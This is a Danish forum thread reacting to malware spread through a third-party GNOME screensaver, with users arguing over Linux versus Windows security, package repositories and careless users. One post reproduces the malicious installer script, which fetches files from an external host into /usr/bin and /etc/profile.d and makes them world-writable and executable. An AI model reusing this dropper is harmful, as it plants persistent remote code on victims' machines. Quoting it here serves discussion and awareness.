mboost-dp1
GNOME
Jeg ved det måske lyder lidt akavet... Men det var satnme også på tide.
Jeg har brugt lang tid på at diskutere med nogle folk, der mener at linux burde være en religion, om hvor vidt at Linux systemer nogensinde ville blive offer for virus.
Har altid hørt argumentet "Linux er sikker fordi der ikke findes nogle rigtige viruser til det", hvorefter jeg stædigt har forsøgt at argumentere at det ikke er ensbetydende med at det er sikkert.
... det er bare et spørgsmål om tid... og, med fare for at blive flamed, væsentligt mere sansynligt at linux får større problemer end Win, netop fordi man kan tilgå koden på linux, og dermed skrive mere integrerede vira.
Jeg har brugt lang tid på at diskutere med nogle folk, der mener at linux burde være en religion, om hvor vidt at Linux systemer nogensinde ville blive offer for virus.
Har altid hørt argumentet "Linux er sikker fordi der ikke findes nogle rigtige viruser til det", hvorefter jeg stædigt har forsøgt at argumentere at det ikke er ensbetydende med at det er sikkert.
... det er bare et spørgsmål om tid... og, med fare for at blive flamed, væsentligt mere sansynligt at linux får større problemer end Win, netop fordi man kan tilgå koden på linux, og dermed skrive mere integrerede vira.
Linux er sikkert, malware osv. kan også installeres på linux så længe brugeren giver [tilladelse] dvs. root adgang.
Man kan aldrig gardere sig mod "dumme" brugere.
#9
hvorfor ser man så ikke flere angreb mod linux mod f.eks. servere? De fleste server kører linux af den ene eller anden art, det er vel netop interessant.
Desuden har der være mange forsøg på at lave virus til linux, tror bare at mange opgiver fordi de har brug for root adgang i de fleste tilfælde.
Det samme med windows! Der er det ofte brugerens skyld, enten fordi de ikke opdaterer deres OS eller fordi de konstant kører med admin kontoen...
Selv windows xp er ret sikkert så længe man laver en bruger konto med begrænset adgang, så kan virus og deslige kun få adgang til de samme rettigheder med mindre de kan få admin rettigheder fordi windows har et sikkerhedshul et sted.
Man kan aldrig gardere sig mod "dumme" brugere.
#9
hvorfor ser man så ikke flere angreb mod linux mod f.eks. servere? De fleste server kører linux af den ene eller anden art, det er vel netop interessant.
Desuden har der være mange forsøg på at lave virus til linux, tror bare at mange opgiver fordi de har brug for root adgang i de fleste tilfælde.
Det samme med windows! Der er det ofte brugerens skyld, enten fordi de ikke opdaterer deres OS eller fordi de konstant kører med admin kontoen...
Selv windows xp er ret sikkert så længe man laver en bruger konto med begrænset adgang, så kan virus og deslige kun få adgang til de samme rettigheder med mindre de kan få admin rettigheder fordi windows har et sikkerhedshul et sted.
anazonda (3) skrev:Har altid hørt argumentet "Linux er sikker fordi der ikke findes nogle rigtige viruser til det", hvorefter jeg stædigt har forsøgt at argumentere at det ikke er ensbetydende med at det er sikkert.
Det var dog en fjollet diskution, når nu der har været vira til Linux i årevis.
anazonda (3) skrev:og, med fare for at blive flamed, væsentligt mere sansynligt at linux får større problemer end Win, netop fordi man kan tilgå koden på linux, og dermed skrive mere integrerede vira.
Det er der skam intet flamebait over. Du skal bare vide, at der er MANGE andre faktorer, og vi diskutere i en evighed hvilke faktorer der er vigtigst.
Men det ændrer ikke på min holdning: Jeg føler mig som sædvanlig mere sikker på en Linux-maskine uden antivirus, end en Windows-maskine med antivirus.
Og det er baseret på viden om hvad der gør systemet følsomt for vira (både teknisk og brugsmæssigt), og erfaring med hvordan vira sniger sig ind på en ellers fornuftig Windows-maskine og -bruger.
myplacedk (5) skrev:Det var dog en fjollet diskution, når nu der har været vira til Linux i årevis.
Joe... men har det ikke i meget høj grad være proof-of-concept viraer..?
myplacedk (5) skrev:Men det ændrer ikke på min holdning: Jeg føler mig som sædvanlig mere sikker på en Linux-maskine uden antivirus, end en Windows-maskine med antivirus.
Så længe vira til Linux ikke er mere udbredt end det er, så kan jeg jo kun give dig ret.
myplacedk (5) skrev:Og det er baseret på viden om hvad der gør systemet følsomt for vira (både teknisk og brugsmæssigt), og erfaring med hvordan vira sniger sig ind på en ellers fornuftig Windows-maskine og -bruger.
Jeg vil vove at påstå at det i meget høj grad er den menneskelige faktor, fornuft, eller mangel på samme der afgør risikoen for vira på ens maskine. Jeg kan ikke huske hvornår jeg sidst har haft problemer med den slags.
SlettetBruger (6) skrev:Så fik man da igen bevist at linux's styrke også er dens svaghed :)
W00t?
Intet system kan beskytte en pc mod den trussel, der sidder 50 cm foran skærmen.
Det gælder for alle systemer i alle versioner.
Hvis man nu holder sig til de officielle repositories, i stedet for at begynde at hente software fra 3 part, ja så er man nu ret godt sikret.
Folk der henter den slags vil altid få disse problemer.
Det gælder for alle systemer i alle versioner.
Hvis man nu holder sig til de officielle repositories, i stedet for at begynde at hente software fra 3 part, ja så er man nu ret godt sikret.
Folk der henter den slags vil altid få disse problemer.
Det med at sourcen er åben kan både være en fordel, men også en fordel. Ved at den ligge åben er der også mange som læser det igennem af interesse, og hvis de falder over noget mistænkeligt eller et hul, så sender de en rettelse ind, derfor går det meget hurtig med at lukke sikkerhedshuller.
Sidste uge kom der også en rapport om at der var fundet flere sikkerhedshuller i Linux end i Windows, men det kan igen forklares med at koden er åben, derfor det nemmere og spotte dem for folket og rette dem med det samme. Ikke engang i månenden som Windows gør det.
Sidste uge kom der også en rapport om at der var fundet flere sikkerhedshuller i Linux end i Windows, men det kan igen forklares med at koden er åben, derfor det nemmere og spotte dem for folket og rette dem med det samme. Ikke engang i månenden som Windows gør det.
Vandborg1 (9) skrev:Sidste uge kom der også en rapport om at der var fundet flere sikkerhedshuller i Linux end i Windows, men det kan igen forklares med at koden er åben, derfor det nemmere og spotte dem for folket og rette dem med det samme. Ikke engang i månenden som Windows gør det
Ingen ved vel reelt, hvor mange sikkerhedsfejl, der er fundet i eks. win 7.
Tror kun man hører om en lille del af dem. De fleste finder MS da heldigvis selv.
Vandborg1 (9) skrev:Det med at sourcen er åben kan både være en fordel, men også en fordel
wat?
anazonda (7) skrev:W00t?
linux = "uanede" muligheder grundet open source og det at ALT kan pilles ved
#8
Er du helt sikker på det? Er hver eneste package/ports-maintainer fx i Debian og FreeBSD eksperter i kildekoden og tjekker den for malware? Jeg har mine tvivl.
Hvis man nu holder sig til de officielle repositories, i stedet for at begynde at hente software fra 3 part, ja så er man nu ret godt sikret.
Er du helt sikker på det? Er hver eneste package/ports-maintainer fx i Debian og FreeBSD eksperter i kildekoden og tjekker den for malware? Jeg har mine tvivl.
#13
Well, hvis man er maintainer og ikke checker for den slags, så laver man ikke sit arbejde.
Og man er helt sikkert ikke maintainer ret længe, hvis det kan påvises, man ikke har kigget efter malware.
Har du et eksempel på malware, der er kommet igennem enten officielle debian / ubuntu reps, eller freebsd ports?
Jeg tror ikke det drejer sig om ret mange.
Well, hvis man er maintainer og ikke checker for den slags, så laver man ikke sit arbejde.
Og man er helt sikkert ikke maintainer ret længe, hvis det kan påvises, man ikke har kigget efter malware.
Har du et eksempel på malware, der er kommet igennem enten officielle debian / ubuntu reps, eller freebsd ports?
Jeg tror ikke det drejer sig om ret mange.
Jeg arbejder med linux og microsoft hver dag og min erfaring siger mig 2 ting.
1. jo ældre et system er jo mere vil det blive angrebet da "hackere" kender systemet godt.
Derfor ville Linux, winxp og Vista være dårligt valg af system hvis man er alm. bruger. Jeg ville anbefale et nyeer system hvis man ikke "superbruger". Det kunne være win7.
2. Brugeren er den der bestemmer sin egen sikkerhed og det er ca 95% af danmark meget dårlige til.
Derfor er OpenS programmer et dårligt valg hvis man er alm. bruger.
At linux er blevet angrebet med virus er old news.
1. jo ældre et system er jo mere vil det blive angrebet da "hackere" kender systemet godt.
Derfor ville Linux, winxp og Vista være dårligt valg af system hvis man er alm. bruger. Jeg ville anbefale et nyeer system hvis man ikke "superbruger". Det kunne være win7.
2. Brugeren er den der bestemmer sin egen sikkerhed og det er ca 95% af danmark meget dårlige til.
Derfor er OpenS programmer et dårligt valg hvis man er alm. bruger.
At linux er blevet angrebet med virus er old news.
#1 Ikke specielt. Det har aldrig været umuligt at liste malware ind på nogen platform. Heck, selv jeg med mine meget begrænsede egenskaber inden for fortran programmering ville kunne lave et program der sletter filer på ens harddisk, om jeg så ville kunne få folk til at hente og kører det er en anden sag.
Det der er interessant er vira, som kan komme ind uden brugerens direkte interaktion eller viden.
Det der er interessant er vira, som kan komme ind uden brugerens direkte interaktion eller viden.
#16
Fordi folk i al genneralhed ignorer opdateringer og advarsler fordi de ikke forstår dem og går i sort. Og min oplevelse er at man selv i hvis omfang skal opdatere sine OpenS programmer når der kommer en helt ny version.
Selv de gratis antivirus programmer der som med store fede røde bogstaver siger at din version vil udløbe d.x.x.xxxx og ikke vil virke mere hvis du ikke henter den nye version.
Fordi folk i al genneralhed ignorer opdateringer og advarsler fordi de ikke forstår dem og går i sort. Og min oplevelse er at man selv i hvis omfang skal opdatere sine OpenS programmer når der kommer en helt ny version.
Selv de gratis antivirus programmer der som med store fede røde bogstaver siger at din version vil udløbe d.x.x.xxxx og ikke vil virke mere hvis du ikke henter den nye version.
Nu tror jeg lige at vi skal huske på hvordan det her "hack" er lavet. Vi snakker om at pauseskærmen kører nogle bash scripts som så henter "virussen" ned. Det er vel også egentligt et godt spørgsmål om denne "virus" ikke bare er et alm. script.
Spørgsmålet er så om en virus scanner vil finde sådan en alm. script fil lavet i bash? Jeg tvivler.
Det vil desuden være komplet tåbelig i denne debat at begynde med at sige at Open Source er mere usikkert. Pauseskærme kører med alm. brugerrettigheder og mange af dem udnytter den mulighed for at køre kommandoer på brugerens system for at få noget output den skal bruge. Dette giver jo klart nok mulighed for at pauseskærmen kan køre en wget og hente filer ned og derefter kører dem. Jeg håber ikke at der er nogen klovne der nu ser pauseskærme som den helt store usikkerhed og lukker ned for alt mulighed for at køre scripts.
Visse ting er ganske enkelt umuligt at beskytte sig imod og den her slags ser jeg ikke meget anderledes end at man ikke skal hente alt muligt gøgl fra ukendte personer uden lige at tjekke det. Du går sku da heller ikke på den første og den bedste side og finder nogle plugin til MSN. Hvis du gør er man sku ikke smart.
Spørgsmålet er så om en virus scanner vil finde sådan en alm. script fil lavet i bash? Jeg tvivler.
Det vil desuden være komplet tåbelig i denne debat at begynde med at sige at Open Source er mere usikkert. Pauseskærme kører med alm. brugerrettigheder og mange af dem udnytter den mulighed for at køre kommandoer på brugerens system for at få noget output den skal bruge. Dette giver jo klart nok mulighed for at pauseskærmen kan køre en wget og hente filer ned og derefter kører dem. Jeg håber ikke at der er nogen klovne der nu ser pauseskærme som den helt store usikkerhed og lukker ned for alt mulighed for at køre scripts.
Visse ting er ganske enkelt umuligt at beskytte sig imod og den her slags ser jeg ikke meget anderledes end at man ikke skal hente alt muligt gøgl fra ukendte personer uden lige at tjekke det. Du går sku da heller ikke på den første og den bedste side og finder nogle plugin til MSN. Hvis du gør er man sku ikke smart.
#18
Opdateringen af software er altså mere strømlignet på eks Ubuntu end win 7, når det kommer til userland software.
Det ligger nemlig i de officielle reps, sammen med egenlige system patches.
På windows 7 gør MS vel ikke meget for at holde eks firefox, adobe produkter og andet up to date?
De burde IMO have en slags app store, hvor den slags blev styre igennem.
Lmao2008 (18) skrev:Og min oplevelse er at man selv i hvis omfang skal opdatere sine OpenS programmer når der kommer en helt ny version.
Opdateringen af software er altså mere strømlignet på eks Ubuntu end win 7, når det kommer til userland software.
Det ligger nemlig i de officielle reps, sammen med egenlige system patches.
På windows 7 gør MS vel ikke meget for at holde eks firefox, adobe produkter og andet up to date?
De burde IMO have en slags app store, hvor den slags blev styre igennem.
Det er utroligt at en nyhed som denne får folk til at udråbe linux til at være usikkert. Temmeligt pinligt hvis jeg selv skal sige det, af følgende 2 grunde:
1) Denne sag er et perfekt eksempel på ondsindet kode/fejl der er blevet opdaget i noget open source, i dette tilfælge blot et script.
2) Dette er et 3. part malware program man kan installere. Det kan jeg altså også selv lave på ingen tid til stort set tid hvilken som helst platform, såfremt jeg kan få brugeren til at installere det.
Når nu dette er sagt, siger jeg slet ikke at linux er totalt sikkert. Enhver med en server på nettet med offentlig IP og tilknyttet domæne, ved hvor mange scripts der dagligt kører for at finde et hul et sted. Det er en videnskab at sikre sig godt nok.
Men at nogle mener linux nu er usikkert fordi man kan installere malware er man nød til at smile af.
Kudos til den opmærksomme bruger der kiggede scriptet igennem.
1) Denne sag er et perfekt eksempel på ondsindet kode/fejl der er blevet opdaget i noget open source, i dette tilfælge blot et script.
2) Dette er et 3. part malware program man kan installere. Det kan jeg altså også selv lave på ingen tid til stort set tid hvilken som helst platform, såfremt jeg kan få brugeren til at installere det.
Når nu dette er sagt, siger jeg slet ikke at linux er totalt sikkert. Enhver med en server på nettet med offentlig IP og tilknyttet domæne, ved hvor mange scripts der dagligt kører for at finde et hul et sted. Det er en videnskab at sikre sig godt nok.
Men at nogle mener linux nu er usikkert fordi man kan installere malware er man nød til at smile af.
Kudos til den opmærksomme bruger der kiggede scriptet igennem.
#18
Derfor er OpenS et dårligt valg til den alm. bruger for som sagt skal de selv opdatere og så vidt jeg ved, nej så gør MS ikke noget for at opdatere OpenS progremmer.
#22
Det er deres konkurant :) jeg ville sgu heller ikke hjælpe så, men helere påpege hvor dårlige OpenS er til at opdatere.
Barnabas (20) skrev:#18
På windows 7 gør MS vel ikke meget for at holde eks firefox, adobe produkter og andet up to date?
Derfor er OpenS et dårligt valg til den alm. bruger for som sagt skal de selv opdatere og så vidt jeg ved, nej så gør MS ikke noget for at opdatere OpenS progremmer.
#22
Det er deres konkurant :) jeg ville sgu heller ikke hjælpe så, men helere påpege hvor dårlige OpenS er til at opdatere.
Lmao2008 (23) skrev:Derfor er OpenS et dårligt valg til den alm. bruger for som sagt skal de selv opdatere og så vidt jeg ved,
Nej, det skal de ikke :-)
Du burde lige prøve en tidsvarende ubuntu installation en gang ved lejlighed inden du udtaler dig ;-)
Lmao2008 (23) skrev:MS ikke noget for at opdatere OpenS progremmer.
MS gør ikke noget for at opdatere NOGEN programmer ud over det, der er en del af deres produkter.
<flueknepper>
Det program, der bliver installeret, er ikke en virus. Malware, ja, men ikke virus. For at det skal kunne kaldes en virus, skal programmet kunne kopiere sig selv, og det er ikke tilfældet her.
</flueknepper>
Udelukkende et problem med dumme brugere. Er der nogen tal for hvor mange, der er blevet inficeret, for det kan fame ikke være mange.
Og jeg glæder mig til at læse Windcapes mening om dette ;-)
Det program, der bliver installeret, er ikke en virus. Malware, ja, men ikke virus. For at det skal kunne kaldes en virus, skal programmet kunne kopiere sig selv, og det er ikke tilfældet her.
</flueknepper>
Udelukkende et problem med dumme brugere. Er der nogen tal for hvor mange, der er blevet inficeret, for det kan fame ikke være mange.
Og jeg glæder mig til at læse Windcapes mening om dette ;-)
Programmet kan fjernes utrolig nemt med en enkelt kommando.
Se endvidere http://www.ubuntudanmark.dk/forum/viewtopic.php?f=...
Her er det simple script som blev kørt. Dejligt med open source, så det er nemt at gennemskue!!
#!/bin/sh
cd /usr/bin/
rm Auto.bash
sleep 1
wget http://05748.t35.com/Bots/Auto.bash
chmod 777 Auto.bash
echo -----------------
cd /etc/profile.d/
rm gnome.sh
sleep 1
wget http://05748.t35.com/Bots/gnome.sh
chmod 777 gnome.sh
echo -----------------
clear
exit
Hvis man ukritisk henter et program fra en ukendt og tvivlsom side, er der sgu da ikke systemet som er usikker, men personen som der gør det. Hvis jeg henter et program som formaterer min harddisk, er det så mig eller systemet som er dum?
Se endvidere http://www.ubuntudanmark.dk/forum/viewtopic.php?f=...
Her er det simple script som blev kørt. Dejligt med open source, så det er nemt at gennemskue!!
#!/bin/sh
cd /usr/bin/
rm Auto.bash
sleep 1
wget http://05748.t35.com/Bots/Auto.bash
chmod 777 Auto.bash
echo -----------------
cd /etc/profile.d/
rm gnome.sh
sleep 1
wget http://05748.t35.com/Bots/gnome.sh
chmod 777 gnome.sh
echo -----------------
clear
exit
Hvis man ukritisk henter et program fra en ukendt og tvivlsom side, er der sgu da ikke systemet som er usikker, men personen som der gør det. Hvis jeg henter et program som formaterer min harddisk, er det så mig eller systemet som er dum?
#24
Sig det til de 10k bruger jeg har suppeteret og opdateret deres firefox 2.x.x.x til den nye da den ikke selv gjorder, men blot gjorder opmærksom på at der var en ny version.
Som jeg skrev tidligere opdatere de ikke af sig selv, men skal have hjælp meget hen af vejen.
Og det kan hr og fru danmark bare ikke finde ud af eller forstå.
derfor er min oplevelse at OpenS er dårligt valg med mindre du har forstand på computer.
Og nej det er ikke ALLE OpenS der ikke opdatere sig selv ,men igen er du alm. bruger FATTER MAN IKKE MAN SELV SKAL :D
Den er sværd hva lol
alm. bruger skal tøres i røven når de er færdige og alm bruger er dem der er flest af og derfor synes jeg at alm. skal bruge programmer der tøre dem når de er færdige.
Sig det til de 10k bruger jeg har suppeteret og opdateret deres firefox 2.x.x.x til den nye da den ikke selv gjorder, men blot gjorder opmærksom på at der var en ny version.
Som jeg skrev tidligere opdatere de ikke af sig selv, men skal have hjælp meget hen af vejen.
Og det kan hr og fru danmark bare ikke finde ud af eller forstå.
derfor er min oplevelse at OpenS er dårligt valg med mindre du har forstand på computer.
Og nej det er ikke ALLE OpenS der ikke opdatere sig selv ,men igen er du alm. bruger FATTER MAN IKKE MAN SELV SKAL :D
Den er sværd hva lol
alm. bruger skal tøres i røven når de er færdige og alm bruger er dem der er flest af og derfor synes jeg at alm. skal bruge programmer der tøre dem når de er færdige.
#30
Af alm. nysgerrighed, hvilken organisation i DK har 10K brugere på firefox?
Lav et script i til cron, der kører disse to ting automagisk, og installer på dine user pc'ere:
apt-get update
apt-get upgrade
Youre done..
#30 skrev:
Sig det til de 10k bruger jeg har suppeteret og opdateret deres firefox 2.x.x.x til den nye da den ikke selv gjorder, men blot gjorder opmærksom på at der var en ny version.
Af alm. nysgerrighed, hvilken organisation i DK har 10K brugere på firefox?
Lav et script i til cron, der kører disse to ting automagisk, og installer på dine user pc'ere:
apt-get update
apt-get upgrade
Youre done..
Hubert (32) skrev:f-style (4) skrev:
hvorfor ser man så ikke flere angreb mod linux mod f.eks. servere? De fleste server kører linux af den ene eller anden art, det er vel netop interessant.
Du påstår vel ikke at der ikke er angreb på linux servere rundt omkring på nettet?
Angreb er der vel masser af, men kommer der noget ud af angrebene? Det er da det, som er interessant.
Lmao2008 (30) skrev:#24
derfor er min oplevelse at OpenS er dårligt valg med mindre du har forstand på computer.
Og nej det er ikke ALLE OpenS der ikke opdatere sig selv ,men igen er du alm. bruger FATTER MAN IKKE MAN SELV SKAL :D
Den er sværd hva lol
De 10.000 du har hjulpet med FF har garanteret kørt på Windows, og Windows er, så vidt jeg ved, ikke Open Source!
På min Ubuntu, opdateres ALLE programmerne på én gang. Jeg har ikke en masse programmer som dukker op konstant og spørger om det lige skal se efter om der er opdateringer. Disse programmer kører også typisk i baggrunden på Windows, for det er jo så vigtigt, at lede efter opdateringer til en program som der ikke er brug for nu. Led evt. når brugeren starter programmet, ikke konstant.
skipperskip (34) skrev:De 10.000 du har hjulpet med FF har garanteret kørt på Windows, og Windows er, så vidt jeg ved, ikke Open Source!
Plus hvis man har 10.000 brugere, så har brugerne da vel for pokker ikke selv ansvar for at vedligeholde sin PC.
Hvis jeg skal have installeret software, så ringer jeg eller skriver en email. Nogle minutter senere dukker der en "ballon" op på min skærm om at softwaren er klar. (Eller om at jeg skal genstarte for at installationen kan gøres færdig, det er jo Windows.)
Jeg har sagt det før, og nu siger jeg det igen.Barnabas (8) skrev:Hvis man nu holder sig til de officielle repositories, i stedet for at begynde at hente software fra 3 part, ja så er man nu ret godt sikret.
Hvis Linux bare skulle opnå en brugerskare på samme niveau som OSX, så er vi allerede ude på det punkt hvor officielle repos bare ikke er nok.
At forvente at f.eks. screensavers, custom themes, osv. er i default repos er komplet urealistisk.
Der mangles virkelig perspektiv hvis folk tror at repos altid vil være nok.
Der er alt for meget niche software til Windows, til at det ville være en brugbar løsning.Barnabas (20) skrev:#18
Opdateringen af software er altså mere strømlignet på eks Ubuntu end win 7, når det kommer til userland software.
Det ligger nemlig i de officielle reps, sammen med egenlige system patches.
På windows 7 gør MS vel ikke meget for at holde eks firefox, adobe produkter og andet up to date?
De burde IMO have en slags app store, hvor den slags blev styre igennem.
Allerede på Linux har jeg fundet software som ikke er i repos.
Prøv også at overveje at en App Store / Package Manager ikke er den optimale løsning i 100% af alle tilfælde. Du tænker igen kun simple tilfælde, til relativt standard userland software.
Prøv at indregne mere komplicere ting.
Og derudover synes jeg at mine opdateringer på Windows 7 er noget "pænere" udført, i forhold til hvordan mit interface fortæller mig at der er opdateringer, hvad der skal opdateres, og så videre.
Og når vi nu snakker software. Hvornår tager Linux sig sammen og indføre signering af software i meta-data, i stedet for at bede folk checke MD5 hashes manuelt ? :p
Windcape (37) skrev:
Allerede på Linux har jeg fundet software som ikke er i repos.
Prøv også at overveje at en App Store / Package Manager ikke er den optimale løsning i 100% af alle tilfælde. Du tænker igen kun simple tilfælde, til relativt standard userland software.
Prøv at indregne mere komplicere ting.
Jeg kører linux. Faktisk en så pæn og simpel løsning som Ubuntu. Alt hvad jeg har af custom og 3. parts-programmer kører igennem ppa. Altså, de bliver opdateret præcis som var de i repos; og alt hvad jeg skulle gøre for at gøre det, stod som den simpleste manual jeg bare skulle følge.
Det er rigtigt at der findes programmer som der ikke kan det, eller hvor man selv lige må tænke lidt. Men det er sgu simpelt.
Og når vi så er tilbage med tænke... Der har vi nemlig et styresystems sande styrke:
Hvis man kan læse hele sit systems opbyggelse, kan man tænke med det og er bevidst om de svage punkter (som fx brugerrettigheder).
#41
Ingen styrke uden svaghed. Og et ignorant community som #40, der ikke lader til at ville forsøge at designe løsninger til nemmere håndtering af software der ikke går igennem repos, eller prevention når dette indeholder malware.
Det er bevist på Windows og på OSX. Hvorfor man så nægter at snakke om dem, og nægter at designe løsninger til at højne sikkerheden i forhold, er dybt latterligt.
Ingen styrke uden svaghed. Og et ignorant community som #40, der ikke lader til at ville forsøge at designe løsninger til nemmere håndtering af software der ikke går igennem repos, eller prevention når dette indeholder malware.
Og pointen er at disse programmer udgør den største fare risiko.E-mol (41) skrev:Det er rigtigt at der findes programmer som der ikke kan det, eller hvor man selv lige må tænke lidt. Men det er sgu simpelt.
Det er bevist på Windows og på OSX. Hvorfor man så nægter at snakke om dem, og nægter at designe løsninger til at højne sikkerheden i forhold, er dybt latterligt.
Windcape (42) skrev:Og pointen er at disse programmer udgør den største fare risiko.
Det er bevist på Windows og på OSX. Hvorfor man så nægter at snakke om dem, og nægter at designe løsninger til at højne sikkerheden i forhold, er dybt latterligt.
Og pointen er at disse programmer er så få og sjældent nødvændige, at hvis man sopper rundt i sådan en gang makværk tigger man om sammanbrud i systemet eller også ved man at koden skal læses igennem, og at man selv skal skrive en opdateringsfunktion til det...
Jeg har aldrig selv været ude for sådan en situation.
Virkelig?E-mol (44) skrev:Og pointen er at disse programmer er så få og sjældent nødvændige,
Tag f.eks. http://lifehacker.com/5227309/
Songbird og Dropbox er 2 programmer som jeg finder utrolig gode, og specielt Dropbox ret rigtigt for en person som mig, der ejer mere end én computer.
Gæt hvad begge programmer har tilfældes? Ikke i dine default repos, men download fra deres respektive hjemmesider.
Det er blot få eksempler på hvad der med tiden vil blive langt større. At ryste på hovedet, og nægte at diskuttere en løsning i dag, er så utrolig dumt som det kan blive.
Men nu kommer Barnabas vel og siger at ingen Linux brugere læser Lifehacker ;-)
Barnabas (20) skrev:#18
Opdateringen af software er altså mere strømlignet på eks Ubuntu end win 7, når det kommer til userland software.
Det ligger nemlig i de officielle reps, sammen med egenlige system patches.
På windows 7 gør MS vel ikke meget for at holde eks firefox, adobe produkter og andet up to date?
De burde IMO have en slags app store, hvor den slags blev styre igennem.
Hvad du så lige glemmer er at MS' #1 goal er at tjene penge og holde sine konkurrenter fra at tage andele.Barnabas (24) skrev:MS gør ikke noget for at opdatere NOGEN programmer ud over det, der er en del af deres produkter.
Det gør man ikke ligefrem ved at tilbyde sine konkurrenters software.
Jeg så hellere at programmører gjorde mere ud af silent auto-updates, som bliver rullet på uden at brugeren mærker det.
Jeg ser det som programmørens ansvar at hans program ikke har huller, ikke MS, Apple, eller Ubuntu fx.
skipperskip (33) skrev:
Angreb er der vel masser af, men kommer der noget ud af angrebene? Det er da det, som er interessant.
Jeg kan da lige nævne de tilfælde jeg kender til. Debian 2 gange, fedora og redhat og det var endda i samme uge det skete og så er der selvfølgelig ubuntu. Og så var der gentoo der tog en server ned på grund af at de havde fundet en fejl der kunne udnyttes. Jeg mener at det viste sig at de var hurtige nok til at det ikke blev udnyttet men jeg er ikke 100% sikker.
Det var vel mere en App Store med konkurrenters programmer, som blev efterlyst? ;)Windcape (48) skrev:# Microsoft App Store
http://www.windowsmarketplace.com/
*host*
Opret dig som bruger i dag
Det er gratis, og du binder dig ikke til noget.
Når du er oprettet som bruger, får du adgang til en lang række af sidens andre muligheder, såsom at udforme siden efter eget ønske og deltage i diskussionerne.
- Forside
- ⟨
- Forum
- ⟨
- Nyheder
Gå til bund